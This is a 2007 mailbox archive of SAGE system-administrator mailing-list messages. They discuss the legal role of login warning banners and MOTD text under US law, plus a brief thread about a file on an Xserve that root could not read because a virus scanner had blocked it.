Received: (from hal@localhost)
	by deer.deer-run.com (8.11.7p1+Sun/8.11.6) id l0PL9iQ12537;
	Thu, 25 Jan 2007 13:09:44 -0800 (PST)
Date: Thu, 25 Jan 2007 13:09:44 -0800
From: Hal Pomeranz <hal@deer-run.com>
To: Jason Dusek <jason.dusek@gmail.com>
Cc: sage-members@sage.org
Subject: Re: [SAGE] MOTD & Legal Issues
Message-ID: <20070125210944.GA12335@deer-run.com>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
User-Agent: Mutt/1.4i
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2
	(newwinkle.deer-run.com [67.18.149.10]);
	Thu, 25 Jan 2007 15:09:45 -0600 (CST)
X-Scanned-By: MIMEDefang 2.56 on 67.18.149.10
X-DCC-Rhyolite-Metrics: voyager 101; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

In the United States, the "Wiretap Act" (18 U.S.C. 2510-22) and the
Electronic Communications Privacy Act (18 U.S.C. 2701-12) provide a
"consent exception" for administrators to monitor system and network
activity provided the user has been shown a banner that informs them
they have no reasonable expectation of privacy on the network.  The
trick is that the banner has to be presented BEFORE the user accesses
the system or network in question.  So /etc/motd is NOT that useful,
but /etc/issue[.net], the Banner option for sshd, the welcome banner
on your GUI console login, the "click through" banner for accessing a
Windows network, etc are all places where you need to set up some sort
of statutory warning.

Also be aware that depending on the industry you work in (DoD,
healthcare, banking, etc) there may be other regulatory requirements
that apply to the content of these warning banners.  Your particular
organization may also have site policies about the content of these
banners, so check with your CISO or whomever.  State and local
statutes could possibly apply as well.  You should definitely have a
local lawyer vet the language of your warning banners.

-- 
Hal Pomeranz, Founder/CEO      Deer Run Associates      hal@deer-run.com
    Network Connectivity and Security, Systems Management, Training


From sage-members-owner@usenix.org Thu Jan 25 13:19:00 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PLIrkn014790
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 13:18:53 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PLIr0Y014789
	for sage-members-0utGoign; Thu, 25 Jan 2007 13:18:53 -0800 (PST)
Received: from smtp102.his.com (smtp102.his.com [216.194.225.125])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PLIKTa014766
	for <sage-members@sage.org>; Thu, 25 Jan 2007 13:18:30 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp102.his.com (Postfix) with ESMTP id 1461441C062;
	Thu, 25 Jan 2007 16:18:15 -0500 (EST)
Received: from smtp102.his.com ([216.194.225.125])
	by localhost (smtp102.his.com [216.194.225.125]) (amavisd-new,
	port 10024)
	with ESMTP id 04113-04; Thu, 25 Jan 2007 16:18:13 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp102.his.com (Postfix) with ESMTP id 0E43C41C012;
	Thu, 25 Jan 2007 16:18:12 -0500 (EST)
Received: from [10.0.1.12] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l0PLIBq9064031;
	Thu, 25 Jan 2007 16:18:13 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240501c1decdd5e80d@[10.0.1.12]>
In-Reply-To: <p06240502c1dec454adc4@[10.0.1.12]>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
	<1169755719.26274.48.camel@willow.odshp.com>
	<p06240502c1dec454adc4@[10.0.1.12]>
Date: Thu, 25 Jan 2007 15:18:05 -0600
To: Brad Knowles <brad@shub-internet.org>, sage-members@sage.org
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] MOTD & Legal Issues
Cc: Wil Cooley <wcooley@nakedape.cc>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.316 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.083, BAYES_00=-2.599]
X-Spam-Score: -4.316
X-Spam-Level: 
X-DCC-wuwien-Metrics: voyager 1290; Body=1 Fuz1=1 Fuz2=1 rep=2%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 2:46 PM -0600 1/25/07, Brad Knowles wrote:

>  I have not yet found any stuff out there that contradicts the pages that
>  I have already mentioned.  I'm only finding other pages which talk about
>  some of the same topics in roughly the same way, and some of them seem to
>  have better information than others.

I've done a bit more of a targeted search.  On reflection, I figured 
the EFF might have had something to say about this subject in the 
past, and it turns out they have.  In their archive of the CAF 
"Academic Computing Policy Statements" archive, there has been 
discussion of the CERT-recommended language for login banners (see 
<http://www.eff.org/Censorship/Academic_edu/CAF/policies/cert.org>), 
and a critique of this banner with suggested alternatives (see 
<http://www.eff.org/Censorship/Academic_edu/CAF/policies/cert.org.critique>).

In fact, the whole archive is dedicated to publicizing and critiquing 
the official computer policies of various organizations around the 
world, including their login banners, their AUPs, etc....  Good 
reading.


However, nothing I've seen here says anything about login banners not 
being needed or not being useful.

So far, everything I've found is talking about how certain specific 
language is too broad or not specific enough, and how to make it more 
narrow and therefore less likely to run roughshod over the rights of 
the users.

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
Co-author of SAGE Booklet #15 "Internet Postmaster: Duties and 
Responsibilities"
Founding Member and Platinum Individual Sponsor of LOPSA: 
<http://www.lopsa.org>
Papers: <http://tinyurl.com/tj6q4> LinkedIn Profile: 
<http://tinyurl.com/y8kpxu>


From sage-members-owner@usenix.org Thu Jan 25 13:23:15 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PLNEOc015444
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 13:23:14 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PLNEIP015443
	for sage-members-0utGoign; Thu, 25 Jan 2007 13:23:14 -0800 (PST)
Received: from [131.106.3.31] (tripp.usenix.org [131.106.3.31])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PLNA56015425
	for <sage-members@sage.org>; Thu, 25 Jan 2007 13:23:11 -0800 (PST)
Mime-Version: 1.0 (Apple Message framework v752.2)
In-Reply-To: <45B91347.3080505@will.to>
References: <B617BA5A-6B1B-451D-BB89-CF143FFE16C2@usenix.org>
	<45B91347.3080505@will.to>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <7A8B3CA1-385B-4C7F-826F-E327D8931E03@usenix.org>
Content-Transfer-Encoding: 7bit
From: Tony Del Porto <tony@usenix.org>
Subject: Re: [SAGE] when root can't read a file
Date: Thu, 25 Jan 2007 13:23:04 -0800
To: sage-members@sage.org
X-Mailer: Apple Mail (2.752.2)
Sender: owner-sage-members@usenix.org
Precedence: bulk


On Jan 25, 2007, at 12:29 PM, Doug Hughes wrote:

> Tony Del Porto wrote:
>> Hey Folks,
>>
>> I have an Xserve (OS 10.4) with a shared volume (Fiber attached  
>> Xserve RAID). One of my users created a file that cannot be read.  
>> The error given is "Permission denied". I have permission as a  
>> regular user to read the file and can't, nor can "root". The owner  
>> of the file can't read the file.
>>
>>
>> [enterprise-2006]$ ls -le LISA\ 06\ Post\ Conf\ Report.doc
>> -rw-rw-r-- + 1 devon staff 30720 Jan 23 11:46 LISA 06 Post Conf  
>> Report.doc
>> 0: user:ops inherited allow  
>> read,write,execute,delete,append,readattr,writeattr,readextattr,write 
>> extattr,readsecurity,writesecurity,chown
>> [enterprise-2006]$ groups
>> staff fmsadmin wwwdata publications admin office
>> [enterprise-2006]$ head -1 LISA\ 06\ Post\ Conf\ Report.doc
>> head: LISA 06 Post Conf Report.doc: Permission denied
>> [enterprise-2006]$ sudo head -1 LISA\ 06\ Post\ Conf\ Report.doc
>> Password:
>> head: LISA 06 Post Conf Report.doc: Permission denied
>>
>>
>> I can read other files in the directory with identical permissions  
>> without issue.
>>
>> Ideas?
>>
>> Thanks!
>
> you say shared volume.. Do you mean NFS? If this is on an NFS  
> server that makes perfect sense. Root on a client machine does not  
> have access to files as root that are on an NFS server unless you  
> have special options set on the NFS server (e.g. no_root_squash or  
> anonuid).
> could this be the issue?

Alas no. I mean "Shared Volume" in the Apple AFP sense - the machine,  
enterprise, is an OSX Server that provides shared disk space and home  
directories to users via AFP. "Root" in this case is me logged in to  
enterprise via ssh using sudo.

Oh, another data point: lsof doesn't find the file in use.

I think I'll run disk utility on the volume...

Thanks,

Tony





From sage-members-owner@usenix.org Thu Jan 25 13:42:33 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PLgXxT016721
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 13:42:33 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PLgXSL016720
	for sage-members-0utGoign; Thu, 25 Jan 2007 13:42:33 -0800 (PST)
Received: from [131.106.3.31] (tripp.usenix.org [131.106.3.31])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PLfopW016636
	for <sage-members@sage.org>; Thu, 25 Jan 2007 13:42:31 -0800 (PST)
Mime-Version: 1.0 (Apple Message framework v752.2)
In-Reply-To: <7A8B3CA1-385B-4C7F-826F-E327D8931E03@usenix.org>
References: <B617BA5A-6B1B-451D-BB89-CF143FFE16C2@usenix.org>
	<45B91347.3080505@will.to>
	<7A8B3CA1-385B-4C7F-826F-E327D8931E03@usenix.org>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <E11B7D1E-9B4C-425A-8F36-C08D9D34801D@usenix.org>
Content-Transfer-Encoding: 7bit
From: Tony Del Porto <tony@usenix.org>
Subject: Re: [SAGE] when root can't read a file
Date: Thu, 25 Jan 2007 13:42:30 -0800
To: sage-members@sage.org
X-Mailer: Apple Mail (2.752.2)
Sender: owner-sage-members@usenix.org
Precedence: bulk

Never mind. I logged in with a GUI and there was a happy little  
message from the machine's virus scanner telling me the file is  
infected and access to it is denied.

Tony


From sage-members-owner@usenix.org Thu Jan 25 13:55:49 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PLteCG017482
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 13:55:40 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PLteGO017481
	for sage-members-0utGoign; Thu, 25 Jan 2007 13:55:40 -0800 (PST)
Received: from mail1.mdl.com (mail1.mdl.com [70.134.47.75])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PLt6pK017459
	for <sage-members@sage.org>; Thu, 25 Jan 2007 13:55:16 -0800 (PST)
Received: from mdlcbyexc1001r.uk.mdli.com (mdlcbyexc1001r.uk.mdli.com
	[145.36.181.77]) by mail1.mdl.com (Postfix) with ESMTP id 2AC271B4C0
	for <sage-members@sage.org>; Thu, 25 Jan 2007 13:54:59 -0800 (PST)
Received: by mdlcbyexc1001r with Internet Mail Service (5.5.2653.19)
	id <C31N974F>; Thu, 25 Jan 2007 21:54:59 -0000
Message-ID: <1FDB9E4E8E1A1F41865987D216E56D410739AED9@mdlsloexc1001r>
From: "Mostardi, David  (MDL US)" <D.Mostardi@mdl.com>
To: sage-members@sage.org
Subject: RE: [SAGE] MOTD & Legal Issues
Date: Thu, 25 Jan 2007 21:54:28 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

John Nicholson wrote an article for ;login: on this very topic. "Politeness
in Computing", February 2000 (vol 25, no 1).
http://www.usenix.org/publications/login/2000-2/index.html. He concludes
that "saying 'Please log in' should not grant anyone the right to access
your system, just as placing a 'Welcome' mat outside your door does not give
anyone the right to enter your house."

David


David Mostardi
Advisory Systems Manager
Elsevier MDL 
2440 Camino Ramon, Suite 300
San Ramon CA 94583
925.543.7350
www.mdl.com



-----Original Message-----
From: owner-sage-members@usenix.org [mailto:owner-sage-members@usenix.org]
On Behalf Of Jason Dusek
Sent: Thursday, January 25, 2007 11:52 AM
To: sage-members@sage.org
Subject: [SAGE] MOTD & Legal Issues


Hi All,

I'm curious about legal issues surrounding the Message of The Day on
UNIX/Linux servers. I can remember reading somewhere that an inviting MOTD
creates a legal loophole for intruders -- if they log in with stolen
credentials and the machine says "Welcome!", then they may take that as
permission to go about their dirty business.

-- 
_jsn


From sage-members-owner@usenix.org Thu Jan 25 14:14:34 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PMERmK018562
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 14:14:27 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PMEQcg018559
	for sage-members-0utGoign; Thu, 25 Jan 2007 14:14:26 -0800 (PST)
Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.237])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PME2Ov018525
	for <sage-members@sage.org>; Thu, 25 Jan 2007 14:14:13 -0800 (PST)
Received: by wx-out-0506.google.com with SMTP id i27so654064wxd
	for <sage-members@sage.org>; Thu, 25 Jan 2007 14:13:59 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=rSa8p7+Bues4SfygGaOu6B5CpT8E0qJRbJecAsDJvYieBVSTaRqKnUv3jNyiYldBW5KybMz2kfu1Ob1a3X7X/WsvD4lIYxb1ZItHvYHUF1QGnMFz5NfbdlsDuFF+qn1r66/Q9laPdwFqIOwf48uwgYzl0areYYrSHvb30gRZ9ak=
Received: by 10.90.118.8 with SMTP id q8mr2933843agc.1169759336678;
	Thu, 25 Jan 2007 13:08:56 -0800 (PST)
Received: by 10.114.156.17 with HTTP; Thu, 25 Jan 2007 13:08:56 -0800 (PST)
Message-ID: <b5e09e920701251308v366b3106o331835eeb0f8e14@mail.gmail.com>
Date: Thu, 25 Jan 2007 16:08:56 -0500
From: "Meenoo Shivdasani" <meenoo@gmail.com>
To: "Jason Dusek" <jason.dusek@gmail.com>
Subject: Re: [SAGE] MOTD & Legal Issues
Cc: sage-members@sage.org
In-Reply-To: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

> MOTD creates a legal loophole for intruders -- if they log in with
> stolen credentials and the machine says "Welcome!", then they may take
> that as permission to go about their dirty business.

OK, Firewalls and Internet Security, 3rd edition states that the "case
of the welcomed hacker" is urban legend, but then goes on to state
that you should have a legalistic warning banner.

RFC 4252 (http://www.ietf.org/rfc/rfc4252.txt) also says

5.4.  Banner Message

   In some jurisdictions, sending a warning message before
   authentication may be relevant for getting legal protection.  Many
   UNIX machines, for example, normally display text from /etc/issue,
   use TCP wrappers, or similar software to display a banner before
   issuing a login prompt.

The Cisco IOS XR documentation (from April 2006) also makes the
recommendation that your banner be appropriate.

The banner that I use on DMZ systems basically says

- unauthorized access to this device is in violation of [fill in the
appropriate legal code here] and will be prosecuted
- all usage of this system is monitored
- by logging in you are consenting to that monitoring

M


From sage-members-owner@usenix.org Thu Jan 25 14:39:01 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PMd0tg023582
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 14:39:00 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PMcxY4023581
	for sage-members-0utGoign; Thu, 25 Jan 2007 14:39:00 -0800 (PST)
Received: from mail.eecs.harvard.edu (bowser.eecs.harvard.edu [140.247.60.24])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PMcWIj023559
	for <sage-members@sage.org>; Thu, 25 Jan 2007 14:38:43 -0800 (PST)
Received: by mail.eecs.harvard.edu (Postfix, from userid 32284)
	id 3725E1A3C68; Thu, 25 Jan 2007 17:38:32 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
	by mail.eecs.harvard.edu (Postfix) with ESMTP id 34E031A3C23;
	Thu, 25 Jan 2007 14:38:32 -0800 (PST)
Date: Thu, 25 Jan 2007 14:38:32 -0800 (PST)
From: Trey Harris <trey@eecs.harvard.edu>
To: Brad Knowles <brad@shub-internet.org>
cc: sage-members@sage.org, Wil Cooley <wcooley@nakedape.cc>
Subject: Re: [SAGE] MOTD & Legal Issues
In-Reply-To: <p06240502c1dec454adc4@[10.0.1.12]>
Message-ID: <20070125135014.F5913@bowser.eecs.harvard.edu>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
	<1169755719.26274.48.camel@willow.odshp.com>
	<p06240502c1dec454adc4@[10.0.1.12]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=8%
Sender: owner-sage-members@usenix.org
Precedence: bulk

(Speaking just of what I know of US law--I know that some of this differs 
in parts of Europe.  And IANAL of course, but I took a few prelaw courses 
in school...)

In a message dated Thu, 25 Jan 2007, Brad Knowles writes:
> Actually, there is the legitimate issue of trespassing, and the related 
> concept of attractive nuisances.  For example, someone is not necessarily 
> trespassing on your property unless you post an explicit "no trespassing" 
> sign.

The "unless" above is not true.  A no trespassing sign may change the 
details in certain circumstances, but doesn't itself have any magical 
power to change a given action from being innocent to being trespass.

With or without a no trespassing sign, a solicitor can legitimately walk 
up to your front porch and knock on the door--but sign or not, he can't 
walk in.  Even if you have a welcome mat.  Even if the door is unlocked. 
The same goes for the meter reader, the postal carrier, or the FedEx 
deliverer.

Even with a no-trespassing sign, you don't have the right to shoot the 
Girl Scout coming up your walk with a box of cookies in hand.  Or even 
arrest her for trespassing.  You have to attempt to warn her away first. 
In all states but Texas, even if she refuses to go away, you can't shoot 
her if she doesn't make any threatening moves and she's just on your 
property and doesn't try to invade your home.  And even in Texas, you can 
only shoot her if she refuses to leave and it's after dark.

And even with a no-trespassing sign, if you come home after an absence, 
check your security camera records, and see that your neighbor walked up 
to your porch, knocked on the door, and went away, you can't have her 
arrested for trespassing.  (If she used your hottub and threw a party on 
your back deck, maybe.)

But even without a sign, someone can't pitch a tent on your front lawn if 
it's clearly part of your property (a no trespassing sign would be one way 
to signal this, but only one way--a fence, or a well-maintained lawn 
surrounded by an expanse of dirt would work just as well).  You can have 
them arrested for trespassing even without a warning, even if they took 
their tent and walked away the instant you confronted them, because 
pitching a tent is not a legitimate use of someone else's front lawn, and 
they can't be considered an "invitee" for that purpose.

But a sign carries no more weight than a fence or any other method to mark 
your property.  And a faded no-trespassing sign, or one that makes it hard 
to tell where your property line is, or one that's obscured by foliage, 
might as well not be there.  It's just one more tool to mark your property 
with.  The quintessential use for a no trespassing sign is to mark your 
open, unfenced garden, so that passers-by know that it isn't a park.

The analogy to computer systems seems pretty clear, and aligns with the 
(scant) case law I've seen.  You can ping somebody's machine and haven't 
trespassed.  You can view the public website hosted on the machine, even 
if it says "don't read this" (just as you can look at a house's pretty 
facade, even stepping up to admire the architectural detail, even if 
there's a no-trespassing sign).  You can send them mail and you haven't 
trespassed, even if their website or their users' sigfiles say not to mail 
them.  But you can't step inside their closed door--the login screen. 
Nor break a window (use a security backdoor).  Nor step inside an open 
front door (passwordless login screen) and snoop around.  Nor step inside 
an open back window (an obscure unprotected server with known 
vulnerabilities) without invitation.

> This also relates to "squatters rights". Even if you have a "no 
> trespassing" sign up but you are not making any attempt to enforce it, then 
> if people are essentially taking possession of the property in question and 
> they have been doing so for a reasonable period of time, they can claim that 
> they are now the rightful owners -- or at least that they have certain rights 
> to certain aspects of that property, such as using it as a shortcut to get 
> somewhere else, or just walking around on it.

If you see the folks on your front lawn pitch the tent, and you leave them 
be, they may have a defense against trespass.  But you can still eject 
them, it's your property.  "Adverse possession," as squatter's rights is 
formally called, requires that the possession be hostile and open.  If you 
tell them, "go ahead, you can use the lawn for awhile", or even cast a 
blind eye to them (in a way that they can see, such as walking right by 
with a little smile), you've given them an explicit or implicit license to 
use the property.  Once you revoke the license ("ok, enough, now go" is 
sufficient) you can eject them, and they will be trespassing if they 
remain.

If they skulk about so that you don't notice them, they aren't being 
"open", and so can't have a claim, and once you notice them, you can deal 
with them as trespassers.  If you don't try to eject them, the possession 
can't be "hostile", and so they can't have a claim.

Only if they're open, and you try to eject them and fail, and they 
maintain their squat continuously for a period beyond the statute of 
limitations (usually at least ten years, often more), *then* they can 
claim ownership under adverse possession.  This is terribly rare in the 
United States, since trespassing is a crime here and police will defend an 
individual's property against trespassers.  If you try to eject the 
prospective claimant in the prescribed way (warning them off, then calling 
the police), you are not likely to fail.

It's hard to imagine how squatter's rights could work on the Internet, 
particularly in a login shell setting.  I've had some accounts on systems 
I probably no longer have any right to for more than ten years, and I've 
used them openly, but the systems' owners haven't made any effort to eject 
me.  And if they did, they'd succeed--I can't think how "hostile 
possession" would work.

(The shortcut bit you mentioned is really subtle and involves a lot of 
things that are complicated and irrelevant to this, so I'm not going to 
address it.  If you can come up with a good analogy as to how "implied 
dedication" or "prescriptive easement" might work on a computer system, 
I'd like to hear it. :)

> And if you have something on your property that is attractive to others and 
> also potentially hazardous, you are legally liable for any abuse of that 
> thing, and it's your responsibility to provide a reasonable level of security 
> around it so as to try to prevent such abuse.  So, if you have a swimming 
> pool on your property, it's your responsibility to put a fence around it and 
> do other things to keep out the neighborhood kids, otherwise you've created 
> an "attractive nuisance" and you're liable for any wrongful deaths, etc... 
> that may happen as a result.

The concept of attractive nuisances is irrelevant here, as far as I can 
tell.  The attractive nuisance doctrine does not apply to adults.  And in 
any case, attractive nuisance is only relevant in cases of bodily injury, 
so it's hard to imagine how a a MOTD or a login prompt could be involved 
in an attractive nuisance claim.

Trey


From sage-members-owner@usenix.org Thu Jan 25 15:02:59 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PN2qXe025431
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 15:02:52 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PN2p6R025429
	for sage-members-0utGoign; Thu, 25 Jan 2007 15:02:51 -0800 (PST)
Received: from vostok.NebrWesleyan.edu (vostok.NebrWesleyan.edu
	[192.94.109.43])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PN2Met025397
	for <sage-members@sage.org>; Thu, 25 Jan 2007 15:02:33 -0800 (PST)
Received: from vostok.NebrWesleyan.edu (localhost.localdomain [127.0.0.1])
	by vostok.NebrWesleyan.edu (Postfix) with ESMTP id EC40473C797;
	Thu, 25 Jan 2007 16:29:50 -0600 (CST)
Received: from zaphod.NebrWesleyan.edu (zaphod.NebrWesleyan.edu [10.9.2.11])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by vostok.NebrWesleyan.edu (Postfix) with ESMTP id C2BB573C6DA;
	Thu, 25 Jan 2007 16:29:50 -0600 (CST)
Date: Thu, 25 Jan 2007 16:29:50 -0600 (CST)
From: "Chris St. Pierre" <stpierre@NebrWesleyan.edu>
To: Meenoo Shivdasani <meenoo@gmail.com>
cc: Jason Dusek <jason.dusek@gmail.com>, sage-members@sage.org
Subject: Re: [SAGE] MOTD & Legal Issues
In-Reply-To: <b5e09e920701251308v366b3106o331835eeb0f8e14@mail.gmail.com>
Message-ID: <Pine.LNX.4.64.0701251626350.17764@zaphod.NebrWesleyan.edu>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
	<b5e09e920701251308v366b3106o331835eeb0f8e14@mail.gmail.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed
X-Virus-Scanned: ClamAV using ClamSMTP
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

We recently underwent a security evaluation where the security dudes
recommended a MOTD that says pretty much what Meenoo recommends:

1.  We monitor the heck out of this, so you have no reasonable
     expectation of privacy; and
2.  Unauthorized access is strictly verboten.

The idea is that distributing a MOTD to your boxes is highly trivial
and, if it saves you some time in court/frustration/whatever, it's
worth it.

It's also not nearly as annoying as the email disclaimer stupidity.

Chris St. Pierre
Unix Systems Administrator
Nebraska Wesleyan University
----------------------------
Never send mail to thobrux@nebrwesleyan.edu


On Thu, 25 Jan 2007, Meenoo Shivdasani wrote:

>>  MOTD creates a legal loophole for intruders -- if they log in with
>>  stolen credentials and the machine says "Welcome!", then they may take
>>  that as permission to go about their dirty business.
>
> OK, Firewalls and Internet Security, 3rd edition states that the "case
> of the welcomed hacker" is urban legend, but then goes on to state
> that you should have a legalistic warning banner.
>
> RFC 4252 (http://www.ietf.org/rfc/rfc4252.txt) also says
>
> 5.4.  Banner Message
>
>   In some jurisdictions, sending a warning message before
>   authentication may be relevant for getting legal protection.  Many
>   UNIX machines, for example, normally display text from /etc/issue,
>   use TCP wrappers, or similar software to display a banner before
>   issuing a login prompt.
>
> The Cisco IOS XR documentation (from April 2006) also makes the
> recommendation that your banner be appropriate.
>
> The banner that I use on DMZ systems basically says
>
> - unauthorized access to this device is in violation of [fill in the
> appropriate legal code here] and will be prosecuted
> - all usage of this system is monitored
> - by logging in you are consenting to that monitoring
>
> M
>


From sage-members-owner@usenix.org Thu Jan 25 15:11:08 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PNAqIN026053
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 15:10:53 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PNAqmc026052
	for sage-members-0utGoign; Thu, 25 Jan 2007 15:10:52 -0800 (PST)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PNADKd026003
	for <sage-members@sage.org>; Thu, 25 Jan 2007 15:10:24 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp303.his.com (Postfix) with ESMTP id 623B415B587;
	Thu, 25 Jan 2007 18:10:13 -0500 (EST)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024)
	with ESMTP id 12381-04; Thu, 25 Jan 2007 18:10:11 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id 7CE1215B580;
	Thu, 25 Jan 2007 18:10:11 -0500 (EST)
Received: from [10.0.1.12] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l0PNAASQ070200;
	Thu, 25 Jan 2007 18:10:10 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240500c1dee8ea40f7@[10.0.1.12]>
In-Reply-To: <20070125135014.F5913@bowser.eecs.harvard.edu>
References: <42784f260701251152p72410946vecf3d0139247cfd2@mail.gmail.com>
	<1169755719.26274.48.camel@willow.odshp.com>
	<p06240502c1dec454adc4@[10.0.1.12]>
	<20070125135014.F5913@bowser.eecs.harvard.edu>
Date: Thu, 25 Jan 2007 17:10:06 -0600
To: Trey Harris <trey@eecs.harvard.edu>, Brad Knowles <brad@shub-internet.org>
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] MOTD & Legal Issues
Cc: sage-members@sage.org, Wil Cooley <wcooley@nakedape.cc>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.341 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.058, BAYES_00=-2.599]
X-Spam-Score: -4.341
